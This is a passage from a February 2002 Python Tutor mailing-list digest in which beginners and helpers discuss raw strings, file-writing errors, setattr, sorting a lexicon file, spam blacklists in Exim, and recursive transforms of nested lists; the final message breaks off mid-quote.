Message-ID: <11AAB833-2473-11D6-889D-00039351FE6A@mac.com>

On Monday, February 18, 2002, at 05:23  AM, alan.gauld@bt.com wrote:

>> Do you try to always use the 'r' option -except- when you want
>> expansion, or is the general practice to only use it when you
>> -need- it to prevent a metacharacter like \t from being expanded?
>
> The python idiom is the latter although I do see a lot of people
> starting to use it as a default - which is a bad thing IMHO...
>
> Alan g.

OOC, why do you think so?  I'm not questioning you, I just don't want to 
develop bad habits.


Erik



From e.kotyk@shaw.ca  Mon Feb 18 13:14:27 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Mon, 18 Feb 2002 13:14:27 +0000
Subject: [Tutor] creating files with python and a thanks
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org>
 <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org>
 <3C702520.D2B906AE@shaw.ca> <1C4B427211C@kserver.org>
 <3C707137.B66BD026@shaw.ca> <2362EF7047C@kserver.org>
Message-ID: <3C70FE33.BCB43960@shaw.ca>

Sheila King wrote:
> 
> On Mon, 18 Feb 2002 03:12:55 +0000, Eve Kotyk <e.kotyk@shaw.ca>  wrote
> about Re: [Tutor] creating files with python and a thanks:
> 
> > > What Python Shell are you using? What operating system?
> >
> > I'm using version 1.5.2 on Linux.
> 
> Well, I'm really flabbergasted. I just logged into my web host, where I
> have a shell account, and they have 1.5.2 on Linux, but it worked for me
> there, as well:
> 
> Python 1.5.2 (#1, Dec 21 2000, 15:29:08)  [GCC egcs-2.91.66
> 19990314/Linux (egcs - on linux-i386
> Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>> def gather_data():
> ...     items = raw_input("Add food item: ")
> ...     portion = input("Enter number of portions: ")
> ...     cal_portion = input("Enter calories per portion: ")
> ...     output = [items, portion, cal_portion]
> ...     f = open('myfile.txt', 'w')
> ...     f.write(str(output))
> ...     f.close()
> ...
> >>> gather_data()
> Add food item: cumquats
> Enter number of portions: 10
> Enter calories per portion: 50
> >>>
> 
> Let's look at that error message you showed before:
> 
> Traceback (innermost last):
>   File "<pyshell#78>", line 1, in ?
>     gather_data()
>   File "<pyshell#75>", line 9, in gather_data
>     f.write(output)
> TypeError: read-only buffer, list
> 
> It says:
>   File "<pyshell#75>", line 9, in gather_data
>     f.write(output)
> TypeError: read-only buffer, list
> 
> Notice how it seems to think that your write statement is
> f.write(output)
> and not f.write(str(output))
> 
> For some reason, it has an old copy of the gather_data function in
> memory, I'm thinking.

You are exactly right!  I just tried it this morning and it worked very
well.  I did not know that the interpreter would keep a previous bit of
code in memory.  
> 
> (Sorry, I didn't catch the importance of that error message previously.)

No problem but could you explain the error message a little?  I assumed
it meant that I had variable elements of a different type (such as a
string and integers) but I tried the code again using only strings and I
still got the same error.  What is a read-only buffer?

E
-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From alan.gauld@bt.com  Mon Feb 18 13:29:40 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 18 Feb 2002 13:29:40 -0000
Subject: [Tutor] creating files with python and a thanks
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C386@mbtlipnt02.btlabs.bt.co.uk>

> > The python idiom is the latter although I do see a lot of people
> > starting to use it as a default - which is a bad thing IMHO...

> OOC, why do you think so?  I'm not questioning you, I just 
> don't want to develop bad habits.

Anything which reduces the readability of code is a bad thing.

One of the reasons I prefer Python to Perl and Tcl is it doesn't 
insist on lots of strange hieroglyphs($,@,% etc) on its symbols. 
Putting an 'r'(or should that be r'r'?!)  in front of every 
string is just making things that little bit less natural.

Alan g.


From idiot1@netzero.net  Mon Feb 18 15:03:47 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Mon, 18 Feb 2002 10:03:47 -0500
Subject: [Tutor] banned function
Message-ID: <3C7117D3.E570FCF3@netzero.net>

I am considering adding a global 'banned' file function, so email from
a banned identity will automatically be rejected by tinylist. Although
useful to block spam and vicious users, spammers usually send from
throwaway accounts, and get a new one for the next run, and so can a
drooler, if enough brain cells still work to think of it. Any
discussion?

-- 
 
end
	    Respectfully,
			 Kirk D Bailey


+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

NOTE: By sending SPAM to this address you agree to pay me a service
fee of $100 for the service of receiving,  storing,  examining, and
deleting your piece of SPAM. I am a postmaster, and take a dim view
of such.
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From lsloan@umich.edu  Mon Feb 18 15:14:04 2002
From: lsloan@umich.edu (Lance E Sloan)
Date: Mon, 18 Feb 2002 10:14:04 -0500
Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks]
In-Reply-To: Your message of "Fri, 15 Feb 2002 13:28:43 PST."
 <Pine.LNX.4.21.0202151323170.12898-100000@hkn.eecs.berkeley.edu>
Message-ID: <200202181514.KAA22434@birds.us.itd.umich.edu>

Danny Yoo wrote:
[...]
> implies that self.cboxDomain.invoke() doesn't need to take the 'event'
> parameter that get's passed when we bind it to Button-1.  We can do a
> quicky thing to allow it to ignore the event parameter:
[...]
> The above fix may not work perfectly yet.  If you're using a Python older
> than 2.2, you may need to do something to simulate lexical sope, perhaps
> something like this:
> 
> ###
> self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
> lambda event,
> self=self: self.cboxDomain.invoke())
> ###

Danny, you're correct again!  I'll have to study up on lambdas.

This second method worked for me.  I'm using Python 2.1 for now.  I
assume that will continue to work in future versions of Python for a
while, too.  Is that correct?

Is there a mailing list somewhere that's dedicated to Python Tkinter
programming?

Thanks again!

--
Lance E Sloan
Web Services, Univ. of Michigan: Full-service Web and database design,
development, and hosting.  Specializing in Python & Perl CGIs.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"


From dsh8290@rit.edu  Mon Feb 18 15:43:36 2002
From: dsh8290@rit.edu (dman)
Date: Mon, 18 Feb 2002 10:43:36 -0500
Subject: [Tutor] banned function
In-Reply-To: <3C7117D3.E570FCF3@netzero.net>
References: <3C7117D3.E570FCF3@netzero.net>
Message-ID: <20020218154336.GA2442@dman.ddts.net>

On Mon, Feb 18, 2002 at 10:03:47AM -0500, kirk Bailey wrote:
| I am considering adding a global 'banned' file function, so email from
| a banned identity will automatically be rejected by tinylist. Although
| useful to block spam and vicious users, spammers usually send from
| throwaway accounts, and get a new one for the next run, and so can a
| drooler, if enough brain cells still work to think of it. Any
| discussion?

You're right that a blacklist isn't terribly effective on spammers.
It also requires that you first received a spam message so that you
know what addr to blacklist.  On top of that, if a spammer forges the
address (likely) and the address happens to be a real person, you've
blacklisted the wrong person.  For spam catching you need to be
smarter than that -- use spamassassin :-).

For a mailing list, the subscribers are likely to have different
opinions on who to blacklist and who not to.  Each user can use their
own killfile and customize to taste.

Regardless, if you want a blacklist, put it in your MTA.  The simplest
mechanism, if you use exim 3, is to put this at the top of your
directors list 

# 
# Check the system bouncelist, this is based on the "MAIL FROM:" command.
#
system_bouncelist:
    driver          = smartuser
    require_files   = /etc/exim/bouncelist
    senders         = /etc/exim/bouncelist
    new_address = :fail: \"${local_part}@${domain}\" thinks you are a spammer


Then you put a list of regexes, one per line, in the file
/etc/exim/bouncelist.  Then the message will be rejected at SMTP time,
long before your TinyList ever sees it.

This can also be tweaked to operate on a per-user basis too.

-D

-- 

Through love and faithfulness sin is atoned for;
through the fear of the Lord a man avoids evil.
        Proverbs 16:6



From alan.gauld@bt.com  Mon Feb 18 17:14:40 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 18 Feb 2002 17:14:40 -0000
Subject: [Tutor] BDE - help
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C38C@mbtlipnt02.btlabs.bt.co.uk>

> I would like to know if its possible to connect to a DB(SQL 
> Server 6.5) using borland Database engine?(BDE) with python.

I don't know of a wrapper thats available but given that there 
is a C API to BDE it wouldn't be too hard to create a python 
wrapper - pyBDE maybe? :-)

OTOH Borland seem to be cooling in their love of BDE with the 
new database access in Kylix/Delphi 6 and the other new tools.

ODBC should be available anywhere BDE is and although not 
quite as functional its more universal. And Python has 
bindings to ODBC...

Alan g.


From brad.reisfeld@colostate.edu  Mon Feb 18 19:21:01 2002
From: brad.reisfeld@colostate.edu (Brad Reisfeld)
Date: Mon, 18 Feb 2002 12:21:01 -0700
Subject: [Tutor] setattr question
In-Reply-To: <E16crA6-0000kQ-00@mail.python.org>
Message-ID: <NGEALAODAKLOJADDLGPAAENMCAAA.brad.reisfeld@colostate.edu>

Hi,
I have a class with many properties that are dictionaries. I am trying to
set the values of these properties via setattr, but am having no luck.

I thought that since 'setattr(object, name, value)' should be the same as
'object.name = value', the following would work:

>>> class settest:
... 	def __init__(self):
... 		self.foo = {'prop1': 123, 'prop2': 456}
... 		return
...
>>> m = settest()
>>> m.foo['prop1'] = 987
>>> m.foo
{'prop2': 456, 'prop1': 987}
>>> setattr(m,foo['prop2'],654)
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
NameError: name 'foo' is not defined
>>> setattr(m.foo,'prop2',654)
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
TypeError: object has read-only attributes


What is the proper way to set values in an object's property dictionary via
setattr? Is this possible?

Thanks.

-Brad



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 18 19:39:48 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 11:39:48 -0800 (PST)
Subject: [Tutor] setattr question
In-Reply-To: <NGEALAODAKLOJADDLGPAAENMCAAA.brad.reisfeld@colostate.edu>
Message-ID: <Pine.LNX.4.21.0202181125330.8258-100000@hkn.eecs.berkeley.edu>

On Mon, 18 Feb 2002, Brad Reisfeld wrote:

> I have a class with many properties that are dictionaries. I am trying
> to set the values of these properties via setattr, but am having no
> luck.
> 
> I thought that since 'setattr(object, name, value)' should be the same as
> 'object.name = value', the following would work:
> 
> >>> class settest:
> ... 	def __init__(self):
> ... 		self.foo = {'prop1': 123, 'prop2': 456}
> ... 		return
> ...
> >>> m = settest()
> >>> m.foo['prop1'] = 987
> >>> m.foo
> {'prop2': 456, 'prop1': 987}
> >>> setattr(m,foo['prop2'],654)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
> NameError: name 'foo' is not defined


Ah!  We can still do it like this:

    getattr(m, 'foo')['prop2'] = 654



> >>> setattr(m.foo,'prop2',654)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
> TypeError: object has read-only attributes
>
> What is the proper way to set values in an object's property dictionary via
> setattr? Is this possible?


Hmmm! This is a weird one; I would have expected this to work.  Let me
check the documentation:


"""
setattr(object, name, value)
This is the counterpart of getattr(). The arguments are an object, a
string and an arbitrary value. The string may name an existing attribute
or a new attribute. The function assigns the value to the attribute,
provided the object allows it. For example, setattr(x, 'foobar', 123) is
equivalent to x.foobar = 123.
"""

Ah; that probably means that getattr() and setattr() don't work on
dictionaries, since they use indexing [] to grab at values.


I don't know if old-style dictionaries allow us to modify their
attributes; perhaps a new style dictionary in Python 2.2 will work.  Let's
try it:


### The following is in a Python 2.2 interpreter; I don't think this will
### work on older Pythons.  Sorry!
>>> class MyDict(dict): pass
... 
>>> d = MyDict({'hello': 42})
>>> d
{'hello': 42}
>>> setattr(d, 'name', 'tom riddle')
>>> d
{'hello': 42}
>>> d.name
'tom riddle'
###


Hope this helps!



From shalehperry@attbi.com  Mon Feb 18 19:57:02 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon, 18 Feb 2002 11:57:02 -0800 (PST)
Subject: [Tutor] banned function
In-Reply-To: <3C7117D3.E570FCF3@netzero.net>
Message-ID: <XFMail.20020218115702.shalehperry@attbi.com>

On 18-Feb-2002 kirk Bailey wrote:
> I am considering adding a global 'banned' file function, so email from
> a banned identity will automatically be rejected by tinylist. Although
> useful to block spam and vicious users, spammers usually send from
> throwaway accounts, and get a new one for the next run, and so can a
> drooler, if enough brain cells still work to think of it. Any
> discussion?
> 

A tact taken by many mailing lists (tutor being one of them) is to only allow
mail to enter the list from those subscribed to it.  Anything else is bounced,
either to an admin to act or to /dev/null.

This is not a bad tactic.  However, some people (myself included) like to
subscribe a wrapper mail account to lists and then post with a real address. 
To allow for this mailing lists created with mailman give subscribers the
ability to subscribe an email address and then set it to not receive mail. 
This is also handy for those going on a week or two vacation and do not want
hundreds of mail waiting for them when they get home.

I believe that implementing vacationing and whitelisting (defining the list by
inclusion rather than exclusion) are a better way to approach this problem.


From idiot1@netzero.net  Mon Feb 18 20:33:08 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Mon, 18 Feb 2002 15:33:08 -0500
Subject: [Tutor] want a hoot? -off topic but intresting-
Message-ID: <3C716504.E167DF9F@netzero.net>

Check this spammeister out!
http://www.jjiconsulting.com/

BULLETPROOF he claims! Spam away and host a page or so with him for
your clientelle to be directed to! The raw BRASS!
-- 
 
end
	    Respectfully,
			 Kirk D Bailey


+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

NOTE: By sending SPAM to this address you agree to pay me a service
fee of $100 for the service of receiving,  storing,  examining, and
deleting your piece of SPAM. I am a postmaster, and take a dim view
of such.
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From Nicole.Seitz@urz.uni-hd.de  Mon Feb 18 21:48:04 2002
From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz)
Date: Mon, 18 Feb 2002 22:48:04 +0100
Subject: [Tutor] Newbie
Message-ID: <5.1.0.14.0.20020218214831.00b48a18@popix.urz.uni-heidelberg.de>

Hi there,

months ago I gave up learning to program with C.Now I hope  I'll be more 
successful with Python.
I decided to learn Python by programming a table-controlled shift-reduce 
parser for the English language.I'm still struggling with the prephase, 
where I assign to each  word the correct category( visit = verb, etc.)
Well, here's one problem I don't know how to deal with:

The user should be able to change the lexicon. Currently this lexicon looks 
like that

lexicon.txt
--------------------------------------------------------------------
ocean n
pleasure n
fish n
men n
Egypt n
friends n
Seattle n
London n
students n
tourists n
France n


in prep
near prep
with prep

visit vt
study vt

sleep vi
fish vi

their det
the det
an det
a det

big adj
good adj

------------------------------------------------------------------

These two functions in the module lexphase.py enable the user to add a word 
which was not found :

def WordNotFound(unknown_word) :


    print "Couldn't find %s in lexicon!" %unknown_word
    AddOrNot = raw_input("Would you like to add it to lexicon?(yes or no)")
    if (AddOrNot == "yes") :
         AddWord()
         return new_category
    else:
         print "Bad choice!!"

def AddWord( ):
         global new_category

         new_word = raw_input("New word: ")
         new_category = raw_input("Category: ")
         new_entry ="\n"+ new_word + " "+ new_category
         file = open('lexicon.txt','a')
         file.write(new_entry)
         file.close()
-------------------------------------------------------------------------------
So far, so good. This works somehow.But unfortunately, after adding a new 
word, the lexicon isn't sorted anymore.
For example, I could have
[...]
sleep vi
fish vi

their det
the det
an det
a det

big adj
good adj
Paris n   #DOn't want the new entry HERE!!!!!!!!

--------------------------------------------
So, how can I keep my lexicon sorted?

Many greetings and thanx in advance,


Nicole








From dyoo@hkn.eecs.berkeley.edu  Mon Feb 18 22:26:39 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 14:26:39 -0800 (PST)
Subject: [Tutor] My Spring project!  [A dictionary that allows substrings for key
 lookup]
Message-ID: <Pine.LNX.4.21.0202181410170.11029-100000@hkn.eecs.berkeley.edu>

Hi everyone,


I've heard so much good stuff about making extension libraries in SWIG,

    http://www.swig.org

that I finally put my foot down and tried to actually apply it toward a
real project.


I've written a wrapper around Dan Gusfield's 'strmat' Suffix Tree library,

    http://www.cs.ucdavis.edu/~gusfield/strmat.html


and I think it's all quite crazy.  *grin* If anyone's interested, I've
collected my notes and code here:

    http://hkn.eecs.berkeley.edu/~dyoo/programming/current.html


As a warning: there are definitely memory leaks in the wrapper.  Also,
parts of the 'strmat' library haven't been wrapped yet because they look a
little... well, fragile.  But it's still very interesting, and perhaps
even useful!


As an example, I've written a small SubstringDict class that allows one to
use substrings of dictionary keys:

###
[Adyoo@coffeetable:~/pystrmat-0.6$ python SubstringDict.py
Reading the dictionary.  Please wait.
45392 words now indexed.
Please enter a word; I'll look for all entries in the dictionary
that have the word as a substring.
word? py
59 words found: 
['espy', 'copy', 'swampy', 'skimpy', 'sleepy', 'photocopy',
'photocopying', 'Skippy', 'canopy', 'preoccupy', 'anisotropy', 'lumpy',
'puppy', 'occupy', 'occupying', 'drippy', 'pygmies', 'pygmy', 'pyramid',
'papyrus', 'floppy', 'physiotherapy', 'Harpy', 'pyramids', 'jumpy',
'snoopy', 'droopy', 'copying', 'copyright', 'copyrightable',
'copyrighted', 'copyrights', 'copywriter', 'unhappy', 'microscopy',
'pyre', 'peppy', 'creepy', 'spy', 'spyglass', 'spying', 'philanthropy',
'sloppy', 'Cappy', 'python', 'entropy', 'psychotherapy', 'shipyard',
'soapy', 'poppy', 'happy', 'hardcopy', 'crappy', 'choppy', 'capybara',
'snappy', 'syrupy', 'spectroscopy', 'therapy']
word? moon
14 words found: 
['mooned', 'mooning', 'moonlight', 'moonlighter', 'moonlighting',
'moonlit', 'moons', 'moonshine', 'honeymoon', 'honeymooned',
'honeymooner', 'honeymooners', 'honeymooning', 'honeymoons']
word? tutor
9 words found: 
['statutorily', 'statutoriness', 'statutory', 'tutor', 'tutored',
'tutorial', 'tutorials', 'tutoring', 'tutors']
###


This may look mundane, but what's neat about this is that when it looks up
a substring key, it isn't scanning through all of the dictionary.

I still have to do some more optimization and code cleanup, but I hope
that this is useful for people.  I did remember hearing a question about
this on Python-list a while back, so I'll forward this message to the main
list as well.



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 18 22:59:37 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 14:59:37 -0800 (PST)
Subject: [Tutor] Newbie
In-Reply-To: <5.1.0.14.0.20020218214831.00b48a18@popix.urz.uni-heidelberg.de>
Message-ID: <Pine.LNX.4.21.0202181449470.11972-100000@hkn.eecs.berkeley.edu>

On Mon, 18 Feb 2002, Nicole Seitz wrote:

> def AddWord( ):
>          global new_category
> 
>          new_word = raw_input("New word: ")
>          new_category = raw_input("Category: ")
>          new_entry ="\n"+ new_word + " "+ new_category
>          file = open('lexicon.txt','a')
>          file.write(new_entry)
>          file.close()
> -------------------------------------------------------------------------------
> So far, so good. This works somehow.But unfortunately, after adding a new 
> word, the lexicon isn't sorted anymore.
> For example, I could have
> [...]
> sleep vi
> fish vi
> 
> their det
> the det
> an det
> a det
> 
> big adj
> good adj
> Paris n   #DOn't want the new entry HERE!!!!!!!!
> 
> --------------------------------------------
> So, how can I keep my lexicon sorted?


Hi Nicole,


At the moment, the AddWord() function appends a new lexicon entry into the
file, so all new entries are "tacked on" in the back.  One approach to
keep the lexicon sorted is to load the lexicon into memory, sort the
lexicon and then write the whole lexicon back to the file.

Python lists have a 'sort()' method that you can use to make this work.  
Here's an interpreter session that may help:


###
>>> names = ['fish', 'sleep', 'their', 'the', 'an', 'big', 'good',
'paris']
>>> names.sort()
>>> names
['an', 'big', 'fish', 'good', 'paris', 'sleep', 'the', 'their']
###

If we want to have the function sort in a different way, we can pass the
sort() method an optional "comparision function" that tells it how two
elements compare to each other.

For example, let's say that we'd like to sort these strings by length.  We
can write this comparision function:

###
>>> def cmp_by_length(word1, word2):
...     return cmp(len(word1), len(word2))
... 
>>> names.sort(cmp_by_length)
>>> names
['an', 'big', 'the', 'fish', 'good', 'paris', 'sleep', 'their']
###


I'm sorry I'm rushing things; I'm getting hungry and must get big, fishy
french food.  mmm... fooo...good...


Please feel free to ask more questions.  Good luck to you!



From tbost@ifarm.com  Mon Feb 18 23:17:46 2002
From: tbost@ifarm.com (Tracy Bost)
Date: Mon, 18 Feb 2002 17:17:46 -0600 (CST)
Subject: [Tutor] counting new/changed files
Message-ID: <1014074265.3c718b9a00013@mail.ifarm.com>


Hi. I've finally getting to put python to some real world use here ! : )
 I'm a little stumped on counting the number of new/changed files in a 
directory since the last time it checked. I've thought about just writing 
the "check" time to a dictionary to a file, then each time it needs to check 
for the number of files that are new/changed, it can use that data as the 
reference point. Can someone be so kind as to point me the direction I need to 
go for counting these files ?

 Thanks !
- Tracy

------------------------------------------------------------------------------
Visit "The Most Powerful Tool on the Farm" at http://www.ifarm.com
Get the latest on Ag News, Market Reports, FREE email, and much more.




From dyoo@hkn.eecs.berkeley.edu  Tue Feb 19 03:08:10 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 19:08:10 -0800 (PST)
Subject: [Tutor] counting new/changed files
In-Reply-To: <1014074265.3c718b9a00013@mail.ifarm.com>
Message-ID: <Pine.LNX.4.21.0202181902410.15585-100000@hkn.eecs.berkeley.edu>

On Mon, 18 Feb 2002, Tracy Bost wrote:

> Hi. I've finally getting to put python to some real world use here ! : )
>  I'm a little stumped on counting the number of new/changed files in a
> directory since the last time it checked. I've thought about just
> writing the "check" time to a dictionary to a file, then each time it
> needs to check for the number of files that are new/changed, it can
> use that data as the reference point. Can someone be so kind as to
> point me the direction I need to go for counting these files ?

Hi Tracy,

There's a 'glob' function that helps us grab at all the filenames in a
directory; it lives in the 'glob' module:

    http://www.python.org/doc/lib/module-glob.html


There's also a function called os.path.getmtime() function that tells us
when a particular file's been last modified:

    http://www.python.org/doc/lib/module-os.path.html


If you'd like examples on how to use these functions, please feel free to
ask on Tutor, and we'll cook something up.  Good luck!



From dyoo@hkn.eecs.berkeley.edu  Tue Feb 19 03:18:15 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 19:18:15 -0800 (PST)
Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks]
In-Reply-To: <200202181514.KAA22434@birds.us.itd.umich.edu>
Message-ID: <Pine.LNX.4.21.0202181910480.15585-100000@hkn.eecs.berkeley.edu>

On Mon, 18 Feb 2002, Lance E Sloan wrote:

> 
> Danny Yoo wrote:
> [...]
> > implies that self.cboxDomain.invoke() doesn't need to take the 'event'
> > parameter that get's passed when we bind it to Button-1.  We can do a
> > quicky thing to allow it to ignore the event parameter:
> [...]
> > The above fix may not work perfectly yet.  If you're using a Python older
> > than 2.2, you may need to do something to simulate lexical sope, perhaps
> > something like this:
> > 
> > ###
> > self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
> > lambda event,
> > self=self: self.cboxDomain.invoke())
> > ###



By the way, we don't really need lambda; I was using a shortcut.  We could
alternatively do something like this:


###
def callback(ignored_event, component=self.cboxDomain):
    component.invoke()

self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
                                                   callback)
###

Python allows us to define functions anywhere; Python's lambda statement
is just a shortcut to avoid giving the function a name.



> This second method worked for me.  I'm using Python 2.1 for now.  I
> assume that will continue to work in future versions of Python for a
> while, too.  Is that correct?

Yes, I'm pretty sure that this will work for a long time; it depends on a
function's default arguments, and I'm pretty sure that won't break at
least until Python 3k or so.  *grin*



> Is there a mailing list somewhere that's dedicated to Python Tkinter
> programming?

Dunno about this, but Tutor is a pretty good place to ask Tkinter
questions.  I believe that Manning, publishers of "Python and Tkinter
Programming", hosts a forum for people who have bought the book:

  http://www.manning.com/getpage.html?project=grayson&filename=forum.html


Good luck!



From dyoo@hkn.eecs.berkeley.edu  Tue Feb 19 03:37:42 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 19:37:42 -0800 (PST)
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <3C70FE33.BCB43960@shaw.ca>
Message-ID: <Pine.LNX.4.21.0202181919100.15585-100000@hkn.eecs.berkeley.edu>

On Mon, 18 Feb 2002, Eve Kotyk wrote:

> > Let's look at that error message you showed before:
> > 
> > Traceback (innermost last):
> >   File "<pyshell#78>", line 1, in ?
> >     gather_data()
> >   File "<pyshell#75>", line 9, in gather_data
> >     f.write(output)
> > TypeError: read-only buffer, list
>
> No problem but could you explain the error message a little?  I
> assumed it meant that I had variable elements of a different type
> (such as a string and integers) but I tried the code again using only
> strings and I still got the same error.  What is a read-only buffer?


Yes, that error message was confusing, and according to:

    http://mail.python.org/pipermail/python-dev/2000-December/010845.html

the developers changed the message to make a little more sense.  *grin*
Python 2.2 gives a better error message, so let me get it to error out in
a similar way:


###
>>> f = open('foo.txt', 'w') 
>>> some_data = ['this is the first line', 'this is the second line']
>>> f.write(42)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: argument 1 must be string or read-only character buffer, not
int
>>> f.write(some_data)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: argument 1 must be string or read-only character buffer, not
list
>>> f.write("ok, ok")
>>> 
###


So f.write() likes to see only strings.  By the way, if we want to write
the contents of a bunch of strings in a list, we can use the
f.writelines() function:

    http://www.python.org/doc/current/lib/bltin-file-objects.html



'Character buffer' is a low level term that's roughly a synonym for
"string", but I believe it's actually a little broader.  It's somewhat
obscure: there's a mention of "buffers" in the documentation:

    http://www.python.org/doc/lib/built-in-funcs.html

with the "buffer()" function, as well as some reference material in the
Python/C API:

    http://www.python.org/doc/current/api/bufferObjects.html

>From what I can gather: a character buffer is any object in Python that
supports byte-oriented access, that is, stuff that's easy to write into a
file.  Buffers provide a way to get access to data in a very low-level,
efficient manner.  However, we probably won't ever need to manipulate
buffers by hand, as the majority of "buffer" objects we run into are
strings.  I guess I'm trying to say: don't worry about character buffers.  
*grin*



Hope this helps!



From dyoo@hkn.eecs.berkeley.edu  Tue Feb 19 04:12:21 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 20:12:21 -0800 (PST)
Subject: [Tutor] Transposing [n, [e],[s[te]],[d]] sequences
In-Reply-To: <OHBNALLNJPDHCBAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202170504080.21597-100000@hkn.eecs.berkeley.edu>

On Sun, 17 Feb 2002, kevin parks wrote:

> # Problem: how do i make something like this work for nested 
> # sequences? since sometimes we will have lists of lists or (god help 
> # us) list of *gasp* tuples...
> 
> 
> By this i meant not first flattening the list or returning the list as
> flat, but transposing each element leaving the structure in place.

Well, one thing we can do is cheat.

###
>>> import re
>>> number_re = re.compile(r'[0-9]+')
>>> l = [[0, 2], 4, [[[5], 7], 9], 11]
>>> number_re.sub(str(l), '%s')
'%s'
>>> number_re.sub('%s', str(l))
'[[%s, %s], %s, [[[%s], %s], %s], %s]'
>>> number_re.sub('%s', str(l)) % (4, 6, 8, 9, 11, 1, 3)
'[[4, 6], 8, [[[9], 11], 1], 3]'
>>> eval(number_re.sub('%s', str(l)) % (4, 6, 8, 9, 11, 1, 3))      
[[4, 6], 8, [[[9], 11], 1], 3]
###


But perhaps this is not what you're looking for.  *grin*

I don't meant to be flippant; I'm still trying to think of a good clean
way of doing this, but for a quick and dirty way, the above might be
useful.


I know that to apply a function "deeply" into a list, we can use
recursion.  The idea behind the recursion is:

    1.  To apply a function deeply on a list, apply a function deeply on
        each element of that list and just collect the
        results.  (Inductive case)

    2.  Trying to apply a function deeply on a nonlist is a dead end ---
        let's just apply the function.  (Base case)

Here's a function that tries to capture this idea of a deep list
transform:

###
>>> def deepTransform(some_function, some_thing):
...     if type(some_thing) == types.ListType:
...         results = []
...         for x in some_thing:                             
...             results.append(deepTransform(some_function, x))
...         return results
...     else:
...         return some_function(some_thing)
... 
>>> deepTransform(lambda x: x*2, [1, 2, 3, 4])
[2, 4, 6, 8]
>>> deepTransform(lambda x: x*2, [1, [2, 3], 4])
[2, [4, 6], 8]
>>> deepTransform(string.upper, ['the', ['psychology', 'of'],
[[['computer']]], 'programming'])
['THE', ['PSYCHOLOGY', 'OF'], [[['COMPUTER']]], 'PROGRAMMING']
###


The only problem about deepTransform() with Xpose is that we need to think
a bit to create the right kind of function that captures what Xpose is
doing.

Also, deepTransform() is democratic in the way that it considers every
element in the list independantly of the others.  That is, in something
like:

###
>>> deepTransform(lambda x: x*2, [1, [2, 3], 4])
[2, [4, 6], 8]
###

deepTransform() does not say to the number three that: "Hey, you're the
third non-list element that I've worked on so far."  However, Xpose()
depends on that idea of list position to add an appropriate offset!  As it
is written, deepTransform() probably isn't what you're looking for.


The problems can be a little tricky.  Please feel free to ask more
questions, and we can talk about it some more.  It's definitely an
interesting problem!



Talk to you later!




From dyoo@hkn.eecs.berkeley.edu  Tue Feb 19 04:23:40 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 18 Feb 2002 20:23:40 -0800 (PST)
Subject: [Tutor] Transposing [n, [e],[s[te]],[d]] sequences
In-Reply-To: <Pine.LNX.4.21.0202170504080.21597-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202182017290.15585-100000@hkn.eecs.berkeley.edu>

On Mon, 18 Feb 2002, Danny Yoo wrote:

> On Sun, 17 Feb 2002, kevin parks wrote:
> 
> > # Problem: how do i make something like this work for nested 
> > # sequences? since sometimes we will have lists of lists or (god help 
> > # us) list of *gasp* tuples...
> > 
> > 
> > By this i meant not first flattening the list or returning the list as
> > flat, but transposing each element leaving the structure in place.
> 
> Well, one thing we can do is cheat.
> 
> ###
> >>> import re
> >>> number_re = re.compile(r'[0-9]+')
> >>> l = [[0, 2], 4, [[[5], 7], 9], 11]
